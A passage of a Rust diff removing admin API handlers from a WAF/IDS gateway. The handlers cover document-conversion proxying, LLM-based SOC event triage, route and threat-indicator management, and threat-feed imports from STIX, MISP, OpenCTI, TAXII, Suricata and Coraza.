State) -> Json { - let base_url = state.clearfolio.as_ref().map(|c| c.base_url.clone()); - Json(ClearfolioConfigView { - enabled: base_url.is_some(), - base_url, - kinds: ["evidence-manifest", "soc-export"], - }) -} - -/// Submits a live waf-ids document to Clearfolio for conversion and relays the -/// async job envelope (`jobId`, `status`, `statusUrl`) back to the console. -async fn clearfolio_submit( - State(state): State, - PathParam(kind): PathParam, - headers: HeaderMap, -) -> Response { - if let Some(denied) = reject_management_write(&state, &headers) { - return denied; - } - let Some(config) = state.clearfolio.clone() else { - return error( - StatusCode::SERVICE_UNAVAILABLE, - "Clearfolio integration is not configured", - ); - }; - let document = { - let data = state.inner.read().await; - clearfolio_document(&kind, &data) - }; - let Some((filename, bytes)) = document else { - return error( - StatusCode::NOT_FOUND, - format!("unknown document kind: {kind}"), - ); - }; - let part = reqwest::multipart::Part::bytes(bytes) - .file_name(filename) - .mime_str("text/plain") - .expect("text/plain is a valid MIME type"); - let form = reqwest::multipart::Form::new().part("file", part); - let mut request = state - .http - .post(clearfolio_submit_url(&config.base_url)) - .multipart(form); - for (name, value) in clearfolio_tenant_headers(&config) { - request = request.header(name, value); - } - match request.send().await { - Ok(response) => clearfolio_relay_json(response).await, - Err(err) => error( - StatusCode::BAD_GATEWAY, - format!("clearfolio request failed: {err}"), - ), - } -} - -/// Proxies one Clearfolio job-status read (tenant headers applied server-side), -/// so the browser can poll conversion progress without holding the credentials. -async fn clearfolio_status( - State(state): State, - PathParam(job_id): PathParam, - headers: HeaderMap, -) -> Response { - if let Some(denied) = reject_management_write(&state, &headers) { - return denied; - } - let Some(config) = state.clearfolio.clone() else { - return error( - StatusCode::SERVICE_UNAVAILABLE, - "Clearfolio integration is not configured", - ); - }; - let mut request = state - .http - .get(clearfolio_status_url(&config.base_url, &job_id)); - for (name, value) in clearfolio_tenant_headers(&config) { - request = request.header(name, value); - } - match request.send().await { - Ok(response) => clearfolio_relay_json(response).await, - Err(err) => error( - StatusCode::BAD_GATEWAY, - format!("clearfolio request failed: {err}"), - ), - } -} - -// ---- LLM-backed SOC analysis ---------------------------------------------- -// Hands a recorded security event to an OpenAI-compatible chat endpoint (the -// contextual-orchestrator gateway) for analyst-style triage. Single call; the -// request/response shaping is pure and unit-tested, the HTTP glue is thin. - -/// Builds an OpenAI `/v1/chat/completions` request body that asks for concise -/// SOC triage of one security event. -fn soc_llm_chat_body(model: &str, event: &SecurityEvent) -> serde_json::Value { - let client_ip = event - .client_ip - .map(|ip| ip.to_string()) - .unwrap_or_else(|| "unknown".to_string()); - let user = format!( - "WAF/IDS security event:\n- action: {}\n- reason: {}\n- score: {}\n- path: {}\n- client_ip: {}\n- timestamp_unix: {}", - event.action, event.reason, event.score, event.path, client_ip, event.timestamp_unix - ); - serde_json::json!({ - "model": model, - "orchestration_mode": "auto", - "messages": [ - { - "role": "system", - "content": "You are a senior SOC analyst. For the WAF/IDS event, state the likely attack class, a severity judgement, and one recommended action. Answer in under 120 words." - }, - { "role": "user", "content": user } - ] - }) -} - -/// Extracts the assistant message text from an OpenAI-compatible chat response. -fn soc_llm_extract_content(body: &serde_json::Value) -> Option { - body.get("choices")? - .get(0)? - .get("message")? - .get("content")? - .as_str() - .map(|text| text.to_string()) -} - -#[derive(Serialize)] -struct SocLlmConfigView { - enabled: bool, - model: Option, -} - -/// Reports whether LLM SOC analysis is configured (and which model), so the -/// admin console can show or hide the analysis surface. -async fn soc_llm_config(State(state): State) -> Json { - let model = state.soc_llm.as_ref().map(|c| c.model.clone()); - Json(SocLlmConfigView { - enabled: model.is_some(), - model, - }) -} - -#[derive(Deserialize)] -struct SocAnalyzeRequest { - event_id: u64, -} - -#[derive(Debug, Clone, Deserialize, Serialize)] -struct PhishingDatabaseImportRequest { - #[serde(default = "phishing_database_default_feed_id")] - feed_id: String, - #[serde(default = "phishing_database_default_source")] - source: String, - #[serde(default = "phishing_database_default_domain_url")] - domain_url: String, - #[serde(default = "phishing_database_default_ip_url")] - ip_url: String, - #[serde(default = "phishing_database_default_ttl_seconds")] - ttl_seconds: u64, - #[serde(default = "phishing_database_default_domain_limit")] - domain_limit: usize, - #[serde(default = "phishing_database_default_ip_limit")] - ip_limit: usize, - #[serde(default = "phishing_database_default_severity")] - severity: Severity, - #[serde(default = "default_true")] - import_domains: bool, - #[serde(default = "default_true")] - import_ips: bool, - #[serde(default)] - allow_non_default_hosts: bool, -} - -#[derive(Debug, Clone, Deserialize, Serialize)] -struct KevImportRequest { - #[serde(default = "kev_default_feed_id")] - feed_id: String, - #[serde(default = "kev_default_source")] - source: String, - #[serde(default = "kev_default_ttl_seconds")] - ttl_seconds: u64, -} - -#[derive(Debug, Serialize)] -struct KevImportResult { - feed_id: String, - upserted_threats: usize, - upserted_dnsbl: usize, - skipped_entries: usize, - last_updated_unix: u64, -} - -#[derive(Serialize)] -struct SocAnalyzeResponse { - event_id: u64, - model: String, - analysis: String, -} - -/// Analyzes one recorded security event with the configured LLM and returns the -/// analyst summary. Admin-authorized; the event is looked up by id. -async fn soc_analyze( - State(state): State, - headers: HeaderMap, - Json(request): Json, -) -> Response { - if let Some(denied) = reject_management_write(&state, &headers) { - return denied; - } - let Some(config) = state.soc_llm.clone() else { - return error( - StatusCode::SERVICE_UNAVAILABLE, - "LLM SOC analysis is not configured", - ); - }; - let event = { - let data = state.inner.read().await; - data.events - .iter() - .find(|event| event.id == request.event_id) - .cloned() - }; - let Some(event) = event else { - return error( - StatusCode::NOT_FOUND, - format!("unknown event id: {}", request.event_id), - ); - }; - let body = soc_llm_chat_body(&config.model, &event); - let endpoint = format!( - "{}/v1/chat/completions", - config.base_url.trim_end_matches('/') - ); - let response = state - .http - .post(endpoint) - .bearer_auth(&config.token) - .json(&body) - .send() - .await; - match response { - Ok(response) => match response.json::().await { - Ok(json) => match soc_llm_extract_content(&json) { - Some(analysis) => Json(SocAnalyzeResponse { - event_id: event.id, - model: config.model, - analysis, - }) - .into_response(), - None => error( - StatusCode::BAD_GATEWAY, - "llm response missing choices[0].message.content", - ), - }, - Err(err) => error( - StatusCode::BAD_GATEWAY, - format!("llm response read failed: {err}"), - ), - }, - Err(err) => error( - StatusCode::BAD_GATEWAY, - format!("llm request failed: {err}"), - ), - } -} - -async fn healthz(State(state): State) -> Json { - Json(state.health_status()) -} - -/// Build/version metadata for deployment verification. -async fn version() -> Json { - Json(serde_json::json!({ - "name": env!("CARGO_PKG_NAME"), - "version": env!("CARGO_PKG_VERSION"), - })) -} - -/// Kubernetes readiness probe: distinct from `/healthz` (liveness), it reports -/// whether the gateway is configured to serve — i.e. has an enabled route. -async fn readyz(State(state): State) -> Response { - let routes_enabled = { - let data = state.inner.read().await; - data.routes.iter().filter(|route| route.enabled).count() - }; - let ready = routes_enabled > 0; - let status = if ready { - StatusCode::OK - } else { - StatusCode::SERVICE_UNAVAILABLE - }; - ( - status, - Json(serde_json::json!({ - "ready": ready, - "routes_enabled": routes_enabled, - })), - ) - .into_response() -} - -async fn admin_console() -> Html<&'static str> { - Html(ADMIN_HTML) -} - -async fn list_routes(State(state): State) -> Json> { - Json(state.inner.read().await.routes.clone()) -} - -async fn create_route( - State(state): State, - headers: HeaderMap, - Json(route): Json, -) -> Response { - if let Some(denied) = reject_management_write(&state, &headers) { - return denied; - } - if let Err(message) = validate_route(&route) { - return error(StatusCode::BAD_REQUEST, message); - } - - let actor = audit_actor(&state, &headers); - match state - .mutate_and_persist(|data| { - let saved = upsert_route(&mut data.routes, route.clone()); - record_successful_audit_log(data, actor, "upsert_route", "route", saved.id.clone()); - saved - }) - .await - { - Ok(saved) => (StatusCode::CREATED, Json(saved)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), - } -} - -async fn list_threats(State(state): State) -> Json> { - Json(state.inner.read().await.threats.clone()) -} - -async fn create_threat( - State(state): State, - headers: HeaderMap, - Json(indicator): Json, -) -> Response { - if let Some(denied) = reject_management_write(&state, &headers) { - return denied; - } - if let Err(message) = validate_threat(&indicator) { - return error(StatusCode::BAD_REQUEST, message); - } - - let actor = audit_actor(&state, &headers); - match state - .mutate_and_persist(|data| { - let saved = upsert_threat(&mut data.threats, indicator.clone()); - mark_operator_threat_key(data, &saved); - record_successful_audit_log( - data, - actor, - "upsert_threat", - "threat_indicator", - threat_resource_id(&saved), - ); - saved - }) - .await - { - Ok(saved) => (StatusCode::CREATED, Json(saved)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), - } -} - -async fn list_dnsbl(State(state): State) -> Json> { - Json(state.inner.read().await.dnsbl.clone()) -} - -async fn create_dnsbl( - State(state): State, - headers: HeaderMap, - Json(entry): Json, -) -> Response { - if let Some(denied) = reject_management_write(&state, &headers) { - return denied; - } - if let Err(message) = validate_dnsbl(&entry) { - return error(StatusCode::BAD_REQUEST, message); - } - - let actor = audit_actor(&state, &headers); - match state - .mutate_and_persist(|data| { - let saved = upsert_dnsbl(&mut data.dnsbl, entry.clone()); - record_successful_audit_log( - data, - actor, - "upsert_dnsbl", - "dnsbl_entry", - saved.address.to_string(), - ); - saved - }) - .await - { - Ok(saved) => (StatusCode::CREATED, Json(saved)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), - } -} - -#[derive(Deserialize)] -struct EventQuery { - #[serde(default)] - action: Option, - #[serde(default)] - limit: Option, -} - -/// Lists security events, optionally filtered by `action` and capped to the most -/// recent `limit` (chronological order preserved) for SOC triage. -async fn list_events( - State(state): State, - Query(query): Query, -) -> Json> { - let data = state.inner.read().await; - let mut events: Vec = match &query.action { - Some(action) => data - .events - .iter() - .filter(|event| &event.action == action) - .cloned() - .collect(), - None => data.events.clone(), - }; - if let Some(limit) = query.limit { - let start = events.len().saturating_sub(limit); - events.drain(..start); - } - Json(events) -} - -async fn list_audit_logs(State(state): State, headers: HeaderMap) -> Response { - // Audit logs are operator-sensitive: any valid admin principal may read - // (including readonly); unauthenticated callers are rejected when auth is on. - if !admin_authenticated(&state, &headers) { - return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token"); - } - Json(state.inner.read().await.audit_logs.clone()).into_response() -} - -async fn kpis(State(state): State) -> Json { - let data = state.inner.read().await; - Json(kpi_snapshot_at(&data, now_unix())) -} - -async fn list_signatures() -> Json> { - Json(signature_catalog()) -} - -#[derive(Deserialize)] -struct EvaluateRequest { - path: String, - #[serde(default)] - query: Option, - #[serde(default)] - body: Option, - #[serde(default)] - client_ip: Option, -} - -#[derive(Serialize)] -struct EvaluateResponse { - score: u16, - reason: String, - would_block: bool, -} - -/// Scores a synthetic request against the current detection state without -/// proxying it, so operators can test payloads and tune rules offline. -async fn evaluate_request( - State(state): State, - Json(request): Json, -) -> Json { - let data = state.inner.read().await; - let scored = score_request( - &request.path, - request.query.as_deref(), - request.body.as_deref().unwrap_or(""), - request.client_ip, - &data.threats, - &data.dnsbl, - ); - Json(EvaluateResponse { - would_block: scored.score >= BLOCK_SCORE, - score: scored.score, - reason: scored.reason, - }) -} - -async fn metrics(State(state): State) -> impl IntoResponse { - let body = { - let data = state.inner.read().await; - prometheus_exposition(&kpi_snapshot_at(&data, now_unix())) - }; - ( - [( - axum::http::header::CONTENT_TYPE, - "text/plain; version=0.0.4; charset=utf-8", - )], - body, - ) -} - -async fn get_commercial_license(State(state): State) -> Json { - Json(state.inner.read().await.commercial.clone()) -} - -async fn update_commercial_license( - State(state): State, - headers: HeaderMap, - Json(profile): Json, -) -> Response { - if let Some(denied) = reject_management_write(&state, &headers) { - return denied; - } - if let Err(message) = validate_commercial_profile(&profile) { - return error(StatusCode::BAD_REQUEST, message); - } - - let actor = audit_actor(&state, &headers); - match state - .mutate_and_persist(|data| { - data.commercial = profile.clone(); - record_successful_audit_log( - data, - actor, - "update_commercial_license", - "commercial_license", - profile.tenant_id.clone(), - ); - profile - }) - .await - { - Ok(saved) => (StatusCode::CREATED, Json(saved)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), - } -} - -async fn commercial_readiness(State(state): State) -> Json { - let data = state.inner.read().await; - Json(commercial_readiness_snapshot_at(&data, now_unix())) -} - -async fn commercial_evidence_manifest( - State(state): State, -) -> Json { - let data = state.inner.read().await; - Json(buyer_evidence_manifest_at(&data, now_unix())) -} - -async fn list_threat_feeds(State(state): State) -> Json> { - Json(state.inner.read().await.threat_feeds.clone()) -} - -async fn threat_feed_freshness(State(state): State) -> Json> { - let data = state.inner.read().await; - Json(threat_feed_freshness_snapshot( - &data.threat_feeds, - now_unix(), - )) -} - -async fn import_threat_feed( - State(state): State, - headers: HeaderMap, - Json(feed): Json, -) -> Response { - if let Some(denied) = reject_management_write(&state, &headers) { - return denied; - } - if let Err(message) = validate_threat_feed_import(&feed) { - return error(StatusCode::BAD_REQUEST, message); - } - - let actor = audit_actor(&state, &headers); - match apply_threat_feed_import(&state, actor, "import_threat_feed", feed).await { - Ok(result) => (StatusCode::CREATED, Json(result)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), - } -} - -/// Optional STIX import metadata via query string. -#[derive(Debug, Deserialize)] -struct StixImportQuery { - #[serde(default = "stix_default_feed_id")] - feed_id: String, - #[serde(default = "stix_default_source")] - source: String, - #[serde(default = "stix_default_ttl_seconds")] - ttl_seconds: u64, -} - -fn stix_default_feed_id() -> String { - "stix-import".to_string() -} -fn stix_default_source() -> String { - "stix".to_string() -} -fn stix_default_ttl_seconds() -> u64 { - 86_400 -} - -#[derive(Debug, Serialize)] -struct StixImportResult { - feed_id: String, - upserted_threats: usize, - upserted_dnsbl: usize, - skipped_objects: usize, - last_updated_unix: u64, -} - -/// Ingest a STIX 2.x indicator or bundle (JSON body). Admin-auth only. -/// Query: `feed_id`, `source`, `ttl_seconds` (defaults: stix-import / stix / 86400). -async fn import_stix_document( - State(state): State, - headers: HeaderMap, - Query(query): Query, - body: Bytes, -) -> Response { - if let Some(denied) = reject_management_write(&state, &headers) { - return denied; - } - if query.feed_id.trim().is_empty() || query.source.trim().is_empty() { - return error( - StatusCode::BAD_REQUEST, - "feed_id and source must be non-empty", - ); - } - if query.ttl_seconds == 0 { - return error( - StatusCode::BAD_REQUEST, - "ttl_seconds must be greater than 0", - ); - } - let body_text = match std::str::from_utf8(&body) { - Ok(text) => text, - Err(_) => return error(StatusCode::BAD_REQUEST, "STIX body must be UTF-8 text"), - }; - let material = - match stix_import::parse_stix_document(body_text, query.source.trim(), query.ttl_seconds) { - Ok(material) => material, - Err(message) => return error(StatusCode::BAD_REQUEST, message), - }; - - let actor = audit_actor(&state, &headers); - let feed = ThreatFeedImport { - feed_id: query.feed_id.trim().to_string(), - source: query.source.trim().to_string(), - ttl_seconds: query.ttl_seconds, - threats: material.threats, - dnsbl: material.dnsbl, - }; - if let Err(message) = validate_threat_feed_import(&feed) { - return error(StatusCode::BAD_REQUEST, message); - } - let skipped_objects = material.skipped_objects; - match apply_threat_feed_import(&state, actor, "import_stix_document", feed).await { - Ok(result) => ( - StatusCode::CREATED, - Json(StixImportResult { - feed_id: result.feed_id, - upserted_threats: result.upserted_threats, - upserted_dnsbl: result.upserted_dnsbl, - skipped_objects, - last_updated_unix: result.last_updated_unix, - }), - ) - .into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), - } -} - -/// Optional MISP import metadata via query string. -#[derive(Debug, Deserialize)] -struct MispImportQuery { - #[serde(default = "misp_default_feed_id")] - feed_id: String, - #[serde(default = "misp_default_source")] - source: String, - #[serde(default = "misp_default_ttl_seconds")] - ttl_seconds: u64, -} - -fn misp_default_feed_id() -> String { - "misp-import".to_string() -} -fn misp_default_source() -> String { - "misp".to_string() -} -fn misp_default_ttl_seconds() -> u64 { - 86_400 -} - -#[derive(Debug, Serialize)] -struct MispImportResult { - feed_id: String, - upserted_threats: usize, - upserted_dnsbl: usize, - skipped_attributes: usize, - last_updated_unix: u64, -} - -/// Ingest a MISP event/attribute export (JSON body). Admin-auth only. -/// Query: `feed_id`, `source`, `ttl_seconds` (defaults: misp-import / misp / 86400). -async fn import_misp_document( - State(state): State, - headers: HeaderMap, - Query(query): Query, - body: Bytes, -) -> Response { - if let Some(denied) = reject_management_write(&state, &headers) { - return denied; - } - if query.feed_id.trim().is_empty() || query.source.trim().is_empty() { - return error( - StatusCode::BAD_REQUEST, - "feed_id and source must be non-empty", - ); - } - if query.ttl_seconds == 0 { - return error( - StatusCode::BAD_REQUEST, - "ttl_seconds must be greater than 0", - ); - } - let body_text = match std::str::from_utf8(&body) { - Ok(text) => text, - Err(_) => return error(StatusCode::BAD_REQUEST, "MISP body must be UTF-8 text"), - }; - let material = - match misp_import::parse_misp_document(body_text, query.source.trim(), query.ttl_seconds) { - Ok(material) => material, - Err(message) => return error(StatusCode::BAD_REQUEST, message), - }; - - let actor = audit_actor(&state, &headers); - let feed = ThreatFeedImport { - feed_id: query.feed_id.trim().to_string(), - source: query.source.trim().to_string(), - ttl_seconds: query.ttl_seconds, - threats: material.threats, - dnsbl: material.dnsbl, - }; - if let Err(message) = validate_threat_feed_import(&feed) { - return error(StatusCode::BAD_REQUEST, message); - } - let skipped_attributes = material.skipped_attributes; - match apply_threat_feed_import(&state, actor, "import_misp_document", feed).await { - Ok(result) => ( - StatusCode::CREATED, - Json(MispImportResult { - feed_id: result.feed_id, - upserted_threats: result.upserted_threats, - upserted_dnsbl: result.upserted_dnsbl, - skipped_attributes, - last_updated_unix: result.last_updated_unix, - }), - ) - .into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), - } -} - -/// Optional OpenCTI import metadata via query string. -#[derive(Debug, Deserialize)] -struct OpenCtiImportQuery { - #[serde(default = "opencti_default_feed_id")] - feed_id: String, - #[serde(default = "opencti_default_source")] - source: String, - #[serde(default = "opencti_default_ttl_seconds")] - ttl_seconds: u64, -} - -fn opencti_default_feed_id() -> String { - "opencti-import".to_string() -} -fn opencti_default_source() -> String { - "opencti".to_string() -} -fn opencti_default_ttl_seconds() -> u64 { - 86_400 -} - -#[derive(Debug, Serialize)] -struct OpenCtiImportResult { - feed_id: String, - upserted_threats: usize, - upserted_dnsbl: usize, - skipped_objects: usize, - last_updated_unix: u64, -} - -/// Ingest an OpenCTI observable/indicator export (JSON body). Admin-auth only. -/// Query: `feed_id`, `source`, `ttl_seconds` (defaults: opencti-import / opencti / 86400). -async fn import_opencti_document( - State(state): State, - headers: HeaderMap, - Query(query): Query, - body: Bytes, -) -> Response { - if let Some(denied) = reject_management_write(&state, &headers) { - return denied; - } - if query.feed_id.trim().is_empty() || query.source.trim().is_empty() { - return error( - StatusCode::BAD_REQUEST, - "feed_id and source must be non-empty", - ); - } - if query.ttl_seconds == 0 { - return error( - StatusCode::BAD_REQUEST, - "ttl_seconds must be greater than 0", - ); - } - let body_text = match std::str::from_utf8(&body) { - Ok(text) => text, - Err(_) => { - return error(StatusCode::BAD_REQUEST, "OpenCTI body must be UTF-8 text"); - } - }; - let material = match opencti_import::parse_opencti_document( - body_text, - query.source.trim(), - query.ttl_seconds, - ) { - Ok(material) => material, - Err(message) => return error(StatusCode::BAD_REQUEST, message), - }; - - let actor = audit_actor(&state, &headers); - let feed = ThreatFeedImport { - feed_id: query.feed_id.trim().to_string(), - source: query.source.trim().to_string(), - ttl_seconds: query.ttl_seconds, - threats: material.threats, - dnsbl: material.dnsbl, - }; - if let Err(message) = validate_threat_feed_import(&feed) { - return error(StatusCode::BAD_REQUEST, message); - } - let skipped_objects = material.skipped_objects; - match apply_threat_feed_import(&state, actor, "import_opencti_document", feed).await { - Ok(result) => ( - StatusCode::CREATED, - Json(OpenCtiImportResult { - feed_id: result.feed_id, - upserted_threats: result.upserted_threats, - upserted_dnsbl: result.upserted_dnsbl, - skipped_objects, - last_updated_unix: result.last_updated_unix, - }), - ) - .into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), - } -} - -/// TAXII 2.1 collection poll request (admin-auth). -/// Provide either `objects_url` or (`api_root` + `collection_id`). -#[derive(Debug, Deserialize)] -struct TaxiiPollRequest { - #[serde(default)] - objects_url: Option, - #[serde(default)] - api_root: Option, - #[serde(default)] - collection_id: Option, - #[serde(default = "taxii_default_feed_id")] - feed_id: String, - #[serde(default = "taxii_default_source")] - source: String, - #[serde(default = "taxii_default_ttl_seconds")] - ttl_seconds: u64, - /// Optional ISO-8601 timestamp filter (`added_after` TAXII query param). - #[serde(default)] - added_after: Option, - #[serde(default)] - bearer_token: Option, - #[serde(default)] - username: Option, - #[serde(default)] - password: Option, -} - -fn taxii_default_feed_id() -> String { - "taxii-import".to_string() -} -fn taxii_default_source() -> String { - "taxii".to_string() -} -fn taxii_default_ttl_seconds() -> u64 { - 86_400 -} - -#[derive(Debug, Serialize)] -struct TaxiiPollResult { - feed_id: String, - objects_url: String, - upserted_threats: usize, - upserted_dnsbl: usize, - skipped_objects: usize, - last_updated_unix: u64, -} - -/// Poll a TAXII 2.1 collection objects endpoint and import STIX indicators. -/// Secrets in the request body are never written to audit logs. -async fn poll_taxii_collection( - State(state): State, - headers: HeaderMap, - Json(request): Json, -) -> Response { - if let Some(denied) = reject_management_write(&state, &headers) { - return denied; - } - if request.feed_id.trim().is_empty() || request.source.trim().is_empty() { - return error( - StatusCode::BAD_REQUEST, - "feed_id and source must be non-empty", - ); - } - if request.ttl_seconds == 0 { - return error( - StatusCode::BAD_REQUEST, - "ttl_seconds must be greater than 0", - ); - } - - let base_url = match resolve_taxii_objects_url(&request) { - Ok(url) => url, - Err(message) => return error(StatusCode::BAD_REQUEST, message), - }; - if let Err(message) = validate_http_url(&base_url, /* allow_non_default_hosts */ true) { - return error( - StatusCode::BAD_REQUEST, - format!("invalid TAXII objects URL: {message}"), - ); - } - let objects_url = match taxii::with_taxii_filters(&base_url, request.added_after.as_deref()) { - Ok(url) => url, - Err(message) => return error(StatusCode::BAD_REQUEST, message), - }; - - let body_text = match fetch_taxii_objects( - &state, - &objects_url, - request.bearer_token.as_deref(), - request.username.as_deref(), - request.password.as_deref(), - ) - .await - { - Ok(body) => body, - Err(message) => return error(StatusCode::BAD_GATEWAY, message), - }; - - let stix_json = match taxii::stix_json_from_taxii_response(&body_text) { - Ok(json) => json, - Err(message) => return error(StatusCode::BAD_REQUEST, message), - }; - let material = match stix_import::parse_stix_document( - &stix_json, - request.source.trim(), - request.ttl_seconds, - ) { - Ok(material) => material, - Err(message) => return error(StatusCode::BAD_REQUEST, message), - }; - - let actor = audit_actor(&state, &headers); - let feed = ThreatFeedImport { - feed_id: request.feed_id.trim().to_string(), - source: request.source.trim().to_string(), - ttl_seconds: request.ttl_seconds, - threats: material.threats, - dnsbl: material.dnsbl, - }; - if let Err(message) = validate_threat_feed_import(&feed) { - return error(StatusCode::BAD_REQUEST, message); - } - let skipped_objects = material.skipped_objects; - match apply_threat_feed_import(&state, actor, "poll_taxii_collection", feed).await { - Ok(result) => ( - StatusCode::CREATED, - Json(TaxiiPollResult { - feed_id: result.feed_id, - objects_url: base_url, - upserted_threats: result.upserted_threats, - upserted_dnsbl: result.upserted_dnsbl, - skipped_objects, - last_updated_unix: result.last_updated_unix, - }), - ) - .into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), - } -} - -fn resolve_taxii_objects_url(request: &TaxiiPollRequest) -> Result { - if let Some(url) = request - .objects_url - .as_deref() - .map(str::trim) - .filter(|s| !s.is_empty()) - { - return Ok(url.to_string()); - } - let api_root = request - .api_root - .as_deref() - .map(str::trim) - .filter(|s| !s.is_empty()); - let collection_id = request - .collection_id - .as_deref() - .map(str::trim) - .filter(|s| !s.is_empty()); - match (api_root, collection_id) { - (Some(root), Some(id)) => taxii::collection_objects_url(root, id), - _ => { - Err("provide objects_url or both api_root and collection_id for TAXII poll".to_string()) - } - } -} - -async fn fetch_taxii_objects( - state: &AppState, - url: &str, - bearer_token: Option<&str>, - username: Option<&str>, - password: Option<&str>, -) -> Result { - use futures_util::StreamExt; - - let mut request = state - .feed_http - .get(url) - .header( - "Accept", - "application/taxii+json;version=2.1, application/stix+json;version=2.1, application/json", - ) - .timeout(std::time::Duration::from_secs( - PHISHING_DATABASE_FETCH_TIMEOUT_SECS, - )); - - if let Some(token) = bearer_token.map(str::trim).filter(|s| !s.is_empty()) { - request = request.bearer_auth(token); - } else if let Some(user) = username.map(str::trim).filter(|s| !s.is_empty()) { - request = request.basic_auth(user, password); - } - - let response = request - .send() - .await - .map_err(|error| format!("failed to poll TAXII collection: {error}"))?; - let status = response.status(); - if !status.is_success() { - return Err(format!("TAXII server returned HTTP {status}")); - } - if let Some(len) = response.content_length() - && len as usize > PHISHING_DATABASE_MAX_BODY_BYTES - { - return Err(format!( - "TAXII response body too large: {len} bytes (limit: {PHISHING_DATABASE_MAX_BODY_BYTES})" - )); - } - let mut bytes = Vec::new(); - let mut stream = response.bytes_stream(); - while let Some(chunk) = stream.next().await { - let chunk = chunk.map_err(|error| format!("failed to read TAXII body: {error}"))?; - if bytes.len().saturating_add(chunk.len()) > PHISHING_DATABASE_MAX_BODY_BYTES { - return Err(format!( - "TAXII response body too large: limit {PHISHING_DATABASE_MAX_BODY_BYTES} bytes exceeded while streaming" - )); - } - bytes.extend_from_slice(&chunk); - } - String::from_utf8(bytes).map_err(|error| format!("TAXII response is not valid UTF-8: {error}")) -} - -/// Ingest Suricata EVE JSON (single object, array, or NDJSON). Admin-auth only. -/// Maps `event_type=alert` records into gateway security events for SOC export. -#[derive(Debug, Serialize)] -struct SuricataEveImportResult { - accepted_alerts: usize, - skipped_non_alerts: usize, - event_ids: Vec, - /// DNSBL / threat-indicator rows written so gateway scoring enforces engine hits. - enforcement_hints: usize, -} - -async fn import_suricata_eve( - State(state): State, - headers: HeaderMap, - body: Bytes, -) -> Response { - if let Some(denied) = reject_management_write(&state, &headers) { - return denied; - } - let body_text = match std::str::from_utf8(&body) { - Ok(text) => text, - Err(_) => { - return error( - StatusCode::BAD_REQUEST, - "Suricata EVE body must be UTF-8 text", - ); - } - }; - let parsed = match suricata_eve::parse_suricata_eve_body(body_text) { - Ok(parsed) => parsed, - Err(message) => return error(StatusCode::BAD_REQUEST, message), - }; - if parsed.alerts.is_empty() { - return error( - StatusCode::BAD_REQUEST, - "no Suricata alert events found (event_type=alert required)", - ); - } - - let actor = audit_actor(&state, &headers); - let event_limit = state.event_limit; - let accepted = parsed.alerts.len(); - let skipped_non_alerts = parsed.skipped_non_alerts; - match state - .mutate_and_persist(|data| { - let mut created_ids = Vec::with_capacity(accepted); - let mut enforcement_hints = 0usize; - let ingest_now = now_unix(); - for alert in &parsed.alerts { - let id = data.next_event_id; - data.next_event_id += 1; - let event = SecurityEvent { - id, - timestamp_unix: alert.timestamp_unix.unwrap_or(ingest_now), - client_ip: alert.client_ip, - route_id: None, - action: alert.action.clone(), - reason: alert.reason.clone(), - score: alert.score, - path: alert.path.clone(), - }; - println!("{}", security_event_log_line(&event)); - data.events.push(event); - created_ids.push(id); - enforcement_hints = - enforcement_hints.saturating_add(apply_engine_enforcement_hints( - data, - "engine:suricata", - &alert.action, - alert.client_ip, - &alert.path, - &alert.reason, - alert.score, - )); - } - enforce_event_limit(data, event_limit); - // Only report IDs still retained after the event ring buffer trim. - let retained: HashSet = data.events.iter().map(|e| e.id).collect(); - let event_ids: Vec = created_ids - .into_iter() - .filter(|id| retained.contains(id)) - .collect(); - record_successful_audit_log( - data, - actor, - "import_suricata_eve", - "ids_suricata", - format!("{accepted}_alerts"), - ); - SuricataEveImportResult { - accepted_alerts: accepted, - skipped_non_alerts, - event_ids, - enforcement_hints, - } - }) - .await - { - Ok(result) => (StatusCode::CREATED, Json(result)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), - } -} - -/// Ingest Coraza / ModSecurity-compatible WAF audit JSON (object, array, or NDJSON). -/// Maps interrupted transactions and CRS rule messages into security events. -#[derive(Debug, Serialize)] -struct CorazaAuditImportResult { - accepted_hits: usize, - skipped: usize, - event_ids: Vec, - /// DNSBL / threat-indicator rows written so gateway scoring enforces engine hits. - enforcement_hints: usize, -} - -async fn import_coraza_audit( - State(state): State, - headers: HeaderMap, - body: Bytes, -) -> Response { - if let Some(denied) = reject_management_write(&state, &headers) { - return denied; - } - let body_text = match std::str::from_utf8(&body) { - Ok(text) => text, - Err(_) => { - return error( - StatusCode::BAD_REQUEST, - "Coraza audit body must be UTF-8 text", - ); - } - }; - let parsed = match coraza_audit::parse_coraza_audit_body(body_text) { - Ok(parsed) => parsed, - Err(message) => return error(StatusCode::BAD_REQUEST, message), - }; - if parsed.hits.is_empty() { - return error( - StatusCode::BAD_REQUEST, - "no Coraza WAF hits found (need messages[] or interrupted transaction)", - ); - } - - let actor = audit_actor(&state, &headers); - let event_limit = state.event_limit; - let accepted = parsed.hits.len(); - let skipped = parsed.skipped; - match state - .mutate_and_persist(|data| { - let mut created_ids = Vec::with_capacity(accepted); - let mut enforcement_hints = 0usize; - let ingest_now = now_unix(); - for hit in &parsed.hits { - let id = data.next_event_id; - data.next_event_id += 1; - let event = SecurityEvent { - id, - timestamp_unix: hit.timestamp_unix.unwrap_or(ingest_now), - client_ip: hit.client_ip, - route_id: None, - action: hit.action.clone(), - reason: hit.reason.clone(), - score: hit.score, - path: hit.path.clone(), - }; - println!("{}", security_event_log_line(&event)); - data.events.push(event); - created_ids.push(id); - enforcement_hints = - enforcement_hints.saturating_add(apply_engine_enforcement_hints( - data, - "engine:coraza", - &hit.action, - hit.client_ip, - &hit.path, - &hit.reason, - hit.score, - )); - } - enforce_event_limit(data, event_limit); - let retained: HashSet = data.events.iter().map(|e| e.id).collect(); - let event_ids: Vec = created_ids - .into_iter() - .filter(|id| retained.contains(id)) - .collect(); - record_successful_audit_log( - data, - actor, - "import_coraza_audit", - 